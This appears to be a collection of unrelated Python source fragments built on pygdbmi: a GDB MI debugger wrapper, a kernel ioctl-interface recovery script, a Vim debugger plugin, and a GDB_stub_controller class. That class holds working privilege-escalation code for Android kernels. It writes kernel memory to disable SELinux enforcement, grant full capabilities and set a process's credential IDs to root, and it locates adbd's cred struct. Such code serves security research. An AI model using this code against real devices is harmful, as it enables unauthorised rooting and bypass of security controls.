self.exec_continue() # and continue else: # if the start function is not specified execute `run` res, _ = self._mi_cmd_run('-exec-run --all', response_on_success=["running"]) if res != 'running': raise DebuggerError('Failed to run program!') def exec_jump(self, loc): # -exec-jump location res, _ = self._mi_cmd_run('-exec-jump %s' % loc, response_on_success=["running"]) if res != 'running': raise DebuggerError('Failed to make jump in program!') def exec_next(self): # -exec-next [--reverse] res, _ = self._mi_cmd_run('-exec-next', response_on_success=["running"]) if res != 'running': raise DebuggerError('Failed to step over!') def exec_step(self): # -exec-step [--reverse] res, _ = self._mi_cmd_run('-exec-step', response_on_success=["running"]) if res != 'running': raise DebuggerError('Failed to step in!') def exec_finish(self): # -exec-finish [--reverse] res, _ = self._mi_cmd_run('-exec-finish', response_on_success=["running"]) if res != 'running': raise DebuggerError('Failed to step out!') def exec_next_insn(self): # -exec-next-instruction [--reverse] res, _ = self._mi_cmd_run('-exec-next-instruction', response_on_success=["running"]) if res != 'running': raise DebuggerError('Failed to step insn!') def data_eval_expr(self, expr): # -data-evaluate-expression expr res, res_body = self._mi_cmd_run('-data-evaluate-expression "%s"' % expr, tmo=1) if res == "done" and 'value' in res_body: return res_body['value'] elif res == "error" and 'msg' in res_body: return res_body['msg'] else: raise DebuggerError('Failed to eval expression!') @staticmethod def extract_exec_addr(addr_val): sval_re = re.search('(.*)[<](.*)[>]', addr_val) if sval_re: return int(sval_re.group(1), 0) return int(addr_val, 0) def get_reg(self, nm): sval = self.data_eval_expr('$%s' % nm) # for PC we'll get something like '0x400e0db8 <gpio_set_direction>' return self.extract_exec_addr(sval) def set_reg(self, nm, val): return self.data_eval_expr('$%s=%s' % (nm, str(val))) def get_reg_names(self, reg_no=[]): # -data-list-register-names [ ( regno )+ ] res, res_body = self._mi_cmd_run('-data-list-register-names %s' % ' '.join(str(x) for x in reg_no)) if res == "done" and 'register-names' in res_body: return res_body['register-names'] else: raise DebuggerError('Failed to get registers names!') def get_reg_values(self, fmt, skip_unavailable=False, reg_no=[]): # -data-list-register-values [ --skip-unavailable ] fmt [ ( regno )*] res, res_body = self._mi_cmd_run('-data-list-register-values %s %s %s' % \ ('--skip-unavailable' if skip_unavailable else '', fmt, ' '.join(str(x) for x in reg_no))) if res == "done" and 'register-values' in res_body: return res_body['register-values'] else: raise DebuggerError('Failed to get registers values!') def gdb_set(self, var, val): res, _ = self._mi_cmd_run("-gdb-set %s %s" % (var, val)) if res != "done": raise DebuggerError('Failed to set variable!') def get_variables(self, thread_num=None, frame_num=0): # -stack-list-variables [ --no-frame-filters ] [ --skip-unavailable ] print-values if thread_num is not None: cmd = '-stack-list-variables --thread %d --frame %d --all-values' % (thread_num, frame_num) else: cmd = '-stack-list-variables --all-values' res, res_body = self._mi_cmd_run(cmd) if res != 'done' or not res_body or 'variables' not in res_body: raise DebuggerError('Failed to get variables @ frame %d of thread %d!' % (frame_num, thread_num)) return res_body['variables'] def get_local_variables(self, no_values=False): # -stack-list-variables [ --no-frame-filters ] [ --skip-unavailable ] print-values # noinspection PyTypeChecker cmd = '-stack-list-locals %i' % int(not no_values) res, res_body = self._mi_cmd_run(cmd) if res != 'done' or not res_body or 'locals' not in res_body: raise DebuggerError('Failed to get variables @ frame') return res_body['locals'] def get_backtrace(self): # -stack-list-frames [ --no-frame-filters low-frame high-frame ] res, res_body = self._mi_cmd_run('-stack-list-frames') if res != 'done' or not res_body or 'stack' not in res_body: raise DebuggerError('Failed to get backtrace! (%s / %s)' % (res, res_body)) return res_body['stack'] def select_frame(self, frame): # -stack-select-frame framenum res, _ = self._mi_cmd_run('-stack-select-frame %d' % frame) if res != 'done': raise DebuggerError('Failed to get backtrace!') def add_bp(self, loc, ignore_count=0, cond='', hw=False, tmp=False): # -break-insert [ -t ] [ -h ] [ -f ] [ -d ] [ -a ] [ -c condition ] [ -i ignore-count ] # [ -p thread-id ] [ location ] cmd_args = '-i %d %s' % (ignore_count, loc) if len(cond): cmd_args = '-c "%s" %s' % (cond, cmd_args) if hw: cmd_args = "-h " + cmd_args if tmp: cmd_args = "-t " + cmd_args res, res_body = self._mi_cmd_run('-break-insert %s' % cmd_args) if res != 'done' or not res_body or 'bkpt' not in res_body or 'number' not in res_body['bkpt']: raise DebuggerError('Failed to insert BP!') return res_body['bkpt']['number'] def add_wp(self, exp, tp='w'): # -break-watch [ -a | -r ] expr cmd_args = '"%s"' % exp if tp == 'r': cmd_args = '-r %s' % cmd_args elif tp == 'rw': cmd_args = '-a %s' % cmd_args res, res_body = self._mi_cmd_run('-break-watch %s' % cmd_args) if res != 'done' or not res_body: raise DebuggerError('Failed to insert WP!') if tp == 'w': if 'wpt' not in res_body or 'number' not in res_body['wpt']: raise DebuggerError('Failed to insert WP!') return res_body['wpt']['number'] elif tp == 'r': if 'hw-rwpt' not in res_body or 'number' not in res_body['hw-rwpt']: raise DebuggerError('Failed to insert RWP!') return res_body['hw-rwpt']['number'] elif tp == 'rw': if 'hw-awpt' not in res_body or 'number' not in res_body['hw-awpt']: raise DebuggerError('Failed to insert AWP!') return res_body['hw-awpt']['number'] return None def delete_bp(self, bp): # -break-delete ( breakpoint )+ res, _ = self._mi_cmd_run('-break-delete %s' % bp) if res != 'done': raise DebuggerError('Failed to delete BP!') def monitor_run(self, cmd, tmo=None, output_type=None): target_output = '' def _target_stream_handler(type, stream, payload): nonlocal target_output if output_type == 'any' or stream == output_type: target_output += payload self.stream_handler_add('target', _target_stream_handler) try: res, resp = self._mi_cmd_run('mon %s' % cmd, tmo=tmo) finally: self.stream_handler_remove('target', _target_stream_handler) if res != 'done': raise DebuggerError('Failed to run monitor cmd "%s"!' % cmd) return resp,target_output def wait_target_state(self, state, tmo=None): """ Parameters ---------- state : int tmo : int Returns ------- stop_reason : int """ end = curr_time = time.time() if tmo is not None: end += tmo * self.tmo_scale_factor while True: lock_tmo = end - curr_time if end > curr_time else 0 if not self._gdbmi_lock.acquire(timeout=lock_tmo): raise DebuggerTargetStateTimeoutError("Failed to wait for target state %d! Current state %d" % (state, self._target_state)) # check for target state change report from GDB recs = self._gdbmi.get_gdb_response(0.5, raise_error_on_timeout=False) self._parse_mi_resp(recs, state) self._gdbmi_lock.release() if self._target_state == state: break curr_time = time.time() if tmo is not None and curr_time >= end: raise DebuggerTargetStateTimeoutError("Failed to wait for target state %d! Current state %d" % (state, self._target_state)) return self._target_stop_reason def get_target_state(self): return self._target_state, self._target_stop_reason def get_current_frame(self): return self._curr_frame def get_current_wp_val(self): return self._curr_wp_val def connect(self, tmo=10): if not self._remote_target: self._logger.debug('Skipped connection to remote target') return self._logger.debug('Connecting to %s', self._remote_target) remote_mode = 'extended_remote' if self._extended_remote_mode else 'remote' self.target_select(remote_mode, self._remote_target, tmo=tmo) def disconnect(self): self.target_disconnect() def resume(self): self.exec_continue() self.wait_target_state(TARGET_STATE_RUNNING, 5) def halt(self): if self._target_state == TARGET_STATE_STOPPED: return self.exec_interrupt() self.wait_target_state(TARGET_STATE_STOPPED, 5) def get_thread_info(self, thread_id=None): """ Parameters ---------- thread_id : int or None thread to info if exists Returns ------- current-thread-id : str threads : dict """ # -thread-info [ thread-id ] if thread_id: cmd = '-thread-info %d' % thread_id else: cmd = '-thread-info' # streaming of info for all threads over gdbmi can take some time, so use large timeout value res, res_body = self._mi_cmd_run(cmd, tmo=20) # if res != 'done' or not res_body or 'threads' not in res_body or 'current-thread-id' not in res_body: if res != 'done' or not res_body or 'threads' not in res_body: # TODO verify removing current-thread-id raise DebuggerError('Failed to get thread info!') return res_body.get('current-thread-id', None), res_body['threads'] def select_thread(self, num): res, _ = self._mi_cmd_run('-thread-select %d' % num) if res != 'done': raise DebuggerError('Failed to set thread!') return res def set_thread(self, num): """Old-named method. For backward compatibility""" return self.select_thread(num) def get_thread_ids(self): # -thread-list-ids expr res, thread_ids = self._mi_cmd_run('-thread-list-ids') if res != 'done': raise DebuggerError('Failed to eval expression!') return thread_ids def get_selected_thread(self): # sel_id, ths = self.get_thread_info() for th in ths: if th['id'] == sel_id: return th return None def target_program(self, **kwargs): return None def set_prog_startup_script(self, path): """ Set up a startup command file which will be executed in the beginning of `exec_run` method. See : https://sourceware.org/gdb/current/onlinedocs/gdb/Command-Files.html#Command-Files Parameters ---------- path : str or None path to the command file. If None the script will not be executed """ if os.path.isfile(path): self.prog_startup_cmdfile = os.path.normpath(path) else: raise FileNotFoundError
class GDB_stub_controller(object): def __init__(self, options): self.options = options logging.info( " [+] Start the GDB controller and attach it to the remote target") logging.info(" [+] GDB additional timeout value is %d" % int(options.timeout)) self.gdb = GdbController( time_to_check_for_additional_output_sec=int(options.timeout)) response = self.gdb.write("target remote :1234") def stop(self): logging.info(" [+] Detach and stop GDB controller") self.gdb.exit() def write(self, addr, val): logging.info(" [+] gdb.write adr: %#x value : %#x" % (addr, val)) self.gdb.write("set *(unsigned int*) (%#x) = %#x" % (addr, val)) def read(self, addr): r = self.gdb.write("x/6xw %#x" % addr)[1].get('payload').split('\\t')[1] logging.info(" [+] Gdb.read %s " % (r)) r = int(r, 16) return r #int(self.gdb.write("x/6xw %#x" % addr)[1].get('payload').split('\\t')[1],16) ''' This function sets SELinux enforcement to permissive ''' def disable_selinux(self): logging.info("[+] Disable SELinux") logging.info("[+] Offsets are %s - %s - %s " % (hex(self.options.offset_selinux[0]), hex(self.options.offset_selinux[0]), hex(self.options.offset_selinux[0]))) self.write(self.options.offset_selinux[0], 0) self.write(self.options.offset_selinux[1], 0) self.write(self.options.offset_selinux[2], 0) ''' This function sets all capabilities of a task to 1 ''' def set_full_capabilities(self, cred_addr): logging.info("[+] Set full capabilities") for ofs in [0x30, 0x34, 0x38, 0x3c, 0x40, 0x44]: self.write(cred_addr + ofs, 0xffffffff) ''' This function sets all Linux IDs of a task to 0 (root user) @effective: if False, effective IDs are not modified ''' def set_root_ids(self, cred_addr, effective=True): logging.info("[+] Set root IDs") for ofs in [0x04, 0x08, 0x0c, 0x10, 0x1c, 0x20]: # uid, gid, suid,sgid, fsuid, fsgid self.write(cred_addr + ofs, 0x00000000) if effective: self.write(cred_addr + 0x14, 0x00000000) # euid self.write(cred_addr + 0x18, 0x00000000) # egid else: logging.info("[+] Note: effective ID have not been changed") ''' This function returns the task_struct addr for a given process name ''' def get_process_task_struct(self, process): logging.info(" [+] Get address aligned whose process name is: [%s]" % process) logging.info("[+] GDB timeout is %d" % int(options.timeout)) response = self.gdb.write("find 0xc0000000, +0x40000000, \"%s\"" % process, raise_error_on_timeout=True, read_response=True, timeout_sec=int(options.timeout)) # author : m00dy , 15/11/2018 # response[0] contains the gdb command line # I remove the first element before looping in response list response.pop(0) addresses = [] for m in response: # check if the payload starts with 0x because a response could be an error if m.get('payload') != None and m.get('payload')[:-2].startswith( '0x'): #print (" payload is %s "%(m.get('payload')[:-2])) val = int(m.get('payload')[:-2], 16) if val % 16 == self.options.offset_to_comm % 16: addresses.append(val) for a in addresses: response = self.gdb.write("x/6xw %#x" % (a - (8 % 16))) magic_cred_ptr = response[1].get('payload').split('\\t') magic_addr = "" if (magic_cred_ptr[1] != 0 and (magic_cred_ptr[1]) == (magic_cred_ptr[2])): magic_addr = a return magic_addr - self.options.offset_to_comm return 0 ''' This function returns the cred_struct address of adbd process from a given stager process ''' def get_adbd_cred_struct(self, stager_addr): logging.info("[+] Search adbd task struct in the process hierarchy") adbd_cred_ptr = "" cur = stager_addr while True: parent_struct_addr = int( self.gdb.write("x/6xw %#x" % (cur + self.options.offset_to_comm - self.options.offset_to_parent))[1].get( 'payload').split('\\t')[1], 16) print(parent_struct_addr) parent_struct_name = self.gdb.write( "x/s %#x" % (parent_struct_addr + self.options.offset_to_comm))[1].get( 'payload').split('\\t')[1] if (str(parent_struct_name) == r'\"adbd\"'): adbd_cred_ptr = int( self.gdb.write( "x/6xw %#x" % (parent_struct_addr + self.options.offset_to_comm - 4))[1].get('payload').split('\\t')[1], 16) break cur = parent_struct_addr return adbd_cred_ptr
def main(): parser = argparse.ArgumentParser() # Ex: python3 gdbioctl.py -v /workspace/difuze/AndroidKernels/kindle_fire_7/WORKSPACE_DIR/out2/vmlinux -f /workspace/difuze/AndroidKernels/kindle_fire_7/WORKSPACE_DIR/out/kindle7_device_ioctl.txt # Ex: python3 gdbioctl.py -v /workspace/difuze/AndroidKernels/kindle_fire_7/WORKSPACE_DIR/out2/vmlinux -f /workspace/difuze/AndroidKernels/kindle_fire_7/WORKSPACE_DIR/out/kindle7_device_ioctl.txt #parser.add_argument('-o', action='store', dest='ioctl_out', help='Destination directory where all the generated interface should be stored.') parser.add_argument( '-v', action='store', dest='vmlinux', help= 'Path of the vmlinux image. The recovered ioctls are stored in this folder.' ) parser.add_argument( '-f', action='store', dest='device_ioctl_file', help= 'The file that conations ioctl and corresponding device file names, Ex: /dev/alarm alarm_ioctl.' ) olddir = os.getcwd() parsed_args = parser.parse_args() print('%s:%s' % (parsed_args.device_ioctl_file, 5)) #Before make vmlinux, these steps should be taken. ''' for f in `find . -name Makefile`; do sed -i "s/-g /-g3 /g" $f; done for f in `find . -name Makefile`; do sed -i "s/-g$/-g3/g" $f; done With make, add this CONFIG_DEBUG_SECTION_MISMATCH=y flag to xxxdeconfig. ''' #Add flag: -fno-inline-functions-called-once os.chdir(os.path.dirname(parsed_args.vmlinux)) outdir = os.path.join(os.path.dirname(parsed_args.vmlinux), 'ioctl_finder_out') outdir2 = os.path.join(os.path.dirname(parsed_args.vmlinux), 'ioctl_preprocessed_out') if not os.path.exists(outdir): os.mkdir(outdir) if not os.path.exists(outdir2): os.mkdir(outdir2) ioctl_set = [] #ff = open('/workspace/difuze/AndroidKernels/huawei/mate9/fuben/Code_Opensource/out/ioctls', 'r') with open(parsed_args.device_ioctl_file, 'r') as ff: ioctl_set = [x.strip() for x in ff.readlines()] device_dict = {} ioctl_list = [] if ' ' in ioctl_set[0]: # Contains devname for device_ioctl in ioctl_set: device_name, ioctl_name = device_ioctl.split(' ') device_dict[ioctl_name] = device_name ioctl_list.append(ioctl_name) ioctl_set = set(ioctl_list) print(device_dict) if DEBUG: ioctl_set.clear() ioctl_set.append('main') print(ioctl_set) #for aioctl in ioctl_set: for aioctl, device_name in device_dict.items(): print('handling %s' % aioctl) ioctl_set.remove(aioctl) gdbmi = GdbController() response = gdbmi.write('file %s' % parsed_args.vmlinux) sourcefile_line_dict = get_line_file_for_ioctl_function_from_gdb( gdbmi, aioctl, allow_multi=True) item_count = 0 for sourcefile, line in sourcefile_line_dict.items(): if sourcefile == '': continue #if sourcefile[0] != '/': # sourcefile = '/workspace/difuze/dwarf/test/'+sourcefile print('%s:%d' % (sourcefile, line)) cmds_vars = handle_subprogram(gdbmi, source_name=sourcefile, decl_line=line, function_name=aioctl, depth=0, list_subprograms=[]) #print(cmds_vars) cmdstypes, restruct = handle_BEGINTYPE_ENDTYPE(gdbmi, cmds_vars) if restruct is not None: if item_count == 0: processed_filename = os.path.join(outdir2, aioctl + '.processed') txt_filename = os.path.join(outdir, aioctl + '.txt') else: processed_filename = os.path.join( outdir2, aioctl + str(item_count) + '.processed') txt_filename = os.path.join( outdir, aioctl + str(item_count) + '.txt') with open(processed_filename, 'w') as f: f.write(restruct) print(processed_filename + ':1') if cmdstypes is not None: with open(txt_filename, 'w') as f: f.write('O yeah...\n[+] Provided Function Name: %s\n' % aioctl) if device_dict == {}: f.write('Device Name: tododevname\n') else: f.write('Device Name: %s\n' % device_dict[aioctl]) f.write(assign_macros(gdbmi, cmdstypes)) f.write('Compl Preprocessed file:%s\n' % processed_filename) f.write('ALL PREPROCESSED FILES:\n') print(txt_filename + ':10') item_count += 1 gdbmi.exit() time.sleep(2) if len(ioctl_set) == 0: print("All ioctl functions are found.") else: print("%d ioctl functions are not found." % len(ioctl_set)) print(ioctl_set) os.chdir(olddir) print('Recovered interfaces are sotred in:\n%s\n%s' % (outdir, outdir2)) print("Goodbye!")
class Controller(): # pylint: disable=too-many-instance-attributes """ Thread object that handles GDB events and commands. """ def __init__(self, vimx): """ Creates the GDB SBDebugger object and more! """ import logging self.logger = logging.getLogger(__name__) self.dbg = None self._proc_cur_line_len = 0 self._proc_lines_count = 0 self.result_queue = [] self.vimx = vimx self.busy_stack = 0 # when > 0, buffers are not updated self.buffers = VimBuffers(self, vimx) self.session = Session(self, vimx) def dbg_start(self): if self.dbg is None: self.dbg = GdbController() def dbg_interrupt(self): self.dbg.gdb_process.send_signal(SIGINT) # what if remote process? def dbg_stop(self): self.dbg.exit() self.dbg = None self.logger.info('Terminated!') def is_busy(self): return self.busy_stack > 0 def busy_more(self): self.busy_stack += 1 def busy_less(self): self.busy_stack -= 1 if self.busy_stack < 0: self.logger.critical("busy_stack < 0") self.busy_stack = 0 def get_program_counters(self): return [] def get_breakpoints(self): return [] def serialize_mijson(self, result): out = "message: {}, stream: {}, token: {}, type: {}\n".format( result.get('message'), result.get('stream'), result.get('token'), result.get('type')) payload = result.get('payload') if isinstance(payload, str): payload = payload.encode('utf8').decode('unicode_escape') else: payload = str(payload) out += "{}\n".format(payload) self.buffers.logs_append(out, u'\u2713') def execute(self, command): """ Run command in the interpreter, refresh all buffers, and display the result in the logs buffer. Returns True if succeeded. """ self.buffers.logs_append(u'\u2192(gdb) {}\n'.format(command)) result = self.get_command_result(command) if result is not None: self.serialize_mijson(result) else: self.logs_append("error\n", u'\u2717') self.update_buffers() def complete_command(self, arg, line, pos): """ Returns a list of viable completions for line, and cursor at pos. """ # TODO complete the first word? return [] def update_buffers(self, buf=None): """ Update gdb buffers and signs placed in source files. @param buf If None, all buffers and signs would be updated. Otherwise, update only the specified buffer. """ if self.is_busy(): return if buf is None: self.buffers.update() else: self.buffers.update_buffer(buf) def bp_set_line(self, spath, line): filepath = path.abspath(spath) self.buffers.logs_append(u'\u2192(gdb-bp) {}:{}\n'.format(spath, line)) #self.execute("b {}:{}".format(filepath, line)) #TODO #self.update_buffers(buf='breakpoints') def do_breakswitch(self, bufnr, line): """ Switch breakpoint at the specified line in the buffer. """ key = (bufnr, line) if key in self.buffers.bp_list: bp = self.buffers.bp_list[key] #self.execute("delete breakpoints {}".format(bp.id)) #TODO else: self.bp_set_line(self.vimx.get_buffer_name(bufnr), line) def do_breakdelete(self, bp_id): """ Delete a breakpoint by id """ #self.execute("breakpoint delete {}".format(bp_id)) #TODO pass def put_stdin(self, instr): #if process is running: self.dbg.write(instr, 0, read_response=False) def get_command_result(self, command): """ Runs command in the interpreter and returns (success, output) Not to be called directly for commands which changes debugger state; use execute instead. """ #FIXME run only if process is not running? if len(self.result_queue) > 0: # garbage? self.logger.warning('result cleaned: %s', self.result_queue.pop()) self.result_queue = [] # clean self.logger.info('(gdb) %s', command) self.dbg.write(command, 0, read_response=False) count = 0 while len(self.result_queue) == 0: self.poke() count += 1 if count > 8: self.logger.warning('(gdb-no-result) %s', command) return None result = self.result_queue.pop() return result def poke(self): """ Pokes the gdb process for responses. """ if self.dbg is None: raise ValueError('Poked a non-existent dbg!') try: responses = self.dbg.get_gdb_response(timeout_sec=0.5) except ValueError as e: self.logger.warning('Gdb poke error: %s', e) return except Exception as e: self.logger.critical('Unexpected error: %s', e) self.dbg_stop() return for resp in responses: if resp['type'] == 'result': self.result_queue.append(resp) else: self.serialize_mijson(resp)